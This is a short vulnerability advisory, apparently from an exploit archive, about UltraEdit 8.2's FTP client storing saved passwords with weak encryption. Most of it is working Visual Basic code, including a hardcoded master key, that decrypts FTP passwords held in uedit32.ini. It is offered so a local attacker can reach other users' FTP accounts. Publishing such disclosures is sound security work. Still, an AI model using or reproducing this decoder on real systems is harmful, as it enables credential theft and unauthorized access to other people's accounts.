UltraEdit 8.2 FTP Client Weak Password Encryption Vulnerability

                                                source: http://www.securityfocus.com/bid/3234/info

UltraEdit is a multi-featured commercial text editor with support for HTML, C/C++, VB, Java, Perl, XML, and C#. It also includes a hex editor and a small FTP client.

UltraEdit's FTP client has a feature which will remember FTP passwords for later use. When passwords are remembered they will be stored on the system using an "admittedly" weak encryption algorithm. As a result, it is a fairly trivial task to decrypt the passwords for FTP accounts.

Successful exploitation of this vulnerability will allow a local attacker to gain unauthorized access to the FTP sites used by other local users.

This piece of VB code will decode the passwords stored in uedit32.ini for the FTP accounts


' UltraEdit FTP password decryption (stored in uedit32.ini)
'
' Taken from the help-file:
'
' This checkbox determines if UltraEdit will save the password for later
' reference. If not the user will be prompted for the password as required. Note
' ? if the password is saved it is stored on the system. It is encrypted however
' the encryption mechanism is unsophisticated and should not be relied upon as a
' method of security.

' Masterkey. Taken from the UltraEdt.exe
Private Const Masterkey = "sdfkh we;34u[ jwef "

'Decode a single character
Public Function UEDecode(i_Asc, ByVal i_Pos As Integer)

i_Pos = i_Pos Mod 19
If i_Pos = 0 Then i_Pos = 19

UEDecode = ((Not i_Asc) And Asc(Mid(Masterkey, i_Pos, 1))) + (i_Asc And ((Not Asc(Mid(Masterkey, i_Pos, 1))) And 127))

End Function

'Decode password
Public Function UEDecodeString(str_password As String)

Dim i As Integer

UEDecodeString = ""

For i = 1 To (Len(str_password) / 2)
UEDecodeString = UEDecodeString + Chr$(UEDecode(Val("&H" + Mid(str_password, (2 * (i - 1)) + 1, 2)), i))
Next i

End Function